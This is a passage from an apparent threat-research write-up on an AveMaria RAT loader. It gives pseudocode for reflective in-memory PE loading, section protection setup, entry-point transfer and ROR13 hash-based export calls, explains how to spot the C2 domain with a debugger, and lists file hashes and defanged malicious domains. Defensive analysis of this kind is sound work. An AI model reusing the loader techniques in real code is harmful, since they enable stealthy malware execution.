if (ntHeaders->FileHeader.NumberOfSections){ IMAGE_SECTION_HEADER *section = (IMAGE_SECTION_HEADER *)((char *)&ntHeaders->OptionalHeader.FileAlignment + v42); for (; v41 != 0; section++, v41--) { DWORD chars = section->Characteristics; DWORD size = section->SizeOfRawData; DWORD rva = section->VirtualAddress; DWORD sectionProtect; DWORD protect; if (size == 0) continue; bool isRead = (chars & IMAGE_SCN_MEM_READ) != 0; bool isExecute = (chars & IMAGE_SCN_MEM_EXECUTE) != 0; bool isWrite = (chars & IMAGE_SCN_MEM_WRITE) != 0; if (!isExecute) { if (isRead) sectionProtect = isWrite ? PAGE_READWRITE : PAGE_READONLY; else sectionProtect = isWrite ? PAGE_WRITECOPY : PAGE_NOACCESS; } else { if (isRead) sectionProtect = isWrite ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ; else sectionProtect = isWrite ? PAGE_EXECUTE_WRITECOPY : PAGE_EXECUTE; } protect = (chars & 0x04000000) ? (sectionProtect | PAGE_NOCACHE) : sectionProtect; if (!VirtualProtect( Actual_ImageBase + rva, size, protect, &oldProtect)) { return 0; } }}EntryPoint_Ptr = (void (__stdcall *)(int, int, int)) (Actual_ImageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);ZwFlushInstructionCache(v42, reloc, -1, 0, 0);EntryPoint_Ptr(Actual_ImageBase, 1, 1);
Figure 30. Pseudocode representation of the relocation routine showing how each relocation entry is processed to patch absolute addresses using the calculated base delta; once relocations are applied, execution flow reaches the ZwFlushInstructionCache call before transferring control to the reconstructed payload’s entry point.
Cache Flush and Entry Point Invocation
Before transferring control to the reconstructed payload, the loader flushes the CPU instruction cache to ensure that the processor executes the freshly written code from the newly mapped image. Once the cache is synchronized, the loader resolves the executable’s entry point using the AddressOfEntryPoint field from the PE optional header and invokes it directly, as illustrated in Figure 28.
Optional Export Invocation
After the mapped module’s entry point is executed, the loader optionally performs an additional export lookup if a non-zero exportHash is provided. It parses the PE’s export directory, iterates through exported function names, and computes a ROR13-style hash for each. When the calculated hash matches the supplied value, the loader resolves the corresponding function address and invokes it with the provided arguments. This mechanism allows the loader to trigger a specific exported routine without embedding plaintext function names in the loader itself.
if (exportHash != 0){ exportDir = imageBase + ExportDirectory; for each exported_function_name { hash = ROR13(name); if (hash == exportHash) { func = imageBase + function_address; func(exportArg1, exportArg2); break; } }}
Figure 31. Pseudocode illustrating the optional export invocation routine, where the loader scans the export table, hashes each function name, and executes the export whose hash matches the supplied value.
C2 Identification
To identify the command-and-control endpoint, the first step is to place a breakpoint at the entry point invocation of the mapped PE, where the shellcode loader finally transfers execution to the reconstructed implant. Once execution lands inside the payload, the loaded modules can be inspected to understand which capabilities the malware is preparing to use. In this case, the presence of ws2_32.dll quickly points toward networking activity. From there, attention shifts to common DNS resolution routines such as getaddrinfo, which are typically used to resolve attacker-controlled domains before establishing outbound connections.
Since the hostname is usually supplied as an argument to this API, placing a breakpoint on getaddrinfo allows the analyst to capture the domain directly when the function is invoked. When execution reaches this breakpoint, the domain string passed to the resolver becomes visible, revealing the potential C2 hostname used by the implant.
For the purpose of this analysis, we will leave the investigation here. A deeper exploration of how the malware communicates with its C2 — including connection setup, protocol usage, and task handling — deserves its own dedicated analysis, which we will examine in a future post.

Figure 32. The loader flushes the instruction cache and pivots execution to the reconstructed PE entry point, handing control from the shellcode stub to the in-memory payload.

Figure 33. With ws2_32.dll mapped, the payload locates getaddrinfo, preparing the networking stack required for outbound C2 communication.

Figure 34. Execution enters ws2_32.getaddrinfo, resolving the embedded hostname before the malware establishes its network channel.

Figure 35. IDA pseudocode captures the moment the payload resolves its embedded domain through getaddrinfo, converting the hostname into a reachable C2 address.
Indicators Of Compromise (IOCs)
File Hashes
Initial Loader (.HTA)
MD5: 6114a230ccdb77219c67c47e054f881a
Delivery Container (ISO)
MD5: 62655c77982dbea9bfd30d0004862228
Shortcut Dropper (.LNK)
MD5: 2828f49cde16e65a1bee0c5c44aed8cc
Final Payload (AveMaria RAT)
MD5: 3bc9680077b50ad074e607b3ba700edc
Network Indicators
Payload Distribution
sgtmarkets[.]com/mt4.exe
Used to retrieve the AveMaria payload.
sgtmarkets[.]com/h.hta
HTA loader used in the early execution stage.
Command-and-Control
mt4blog[.]com
Observed during C2 communication with the AveMaria RAT.
References
Zscaler ThreatLabz – Dynamic Approaches Seen in AveMaria’s Distribution Strategy – https://www.zscaler.com/blogs/security-research/dynamic-approaches-seen-avemaria-s-distribution-strategy

Leave a Reply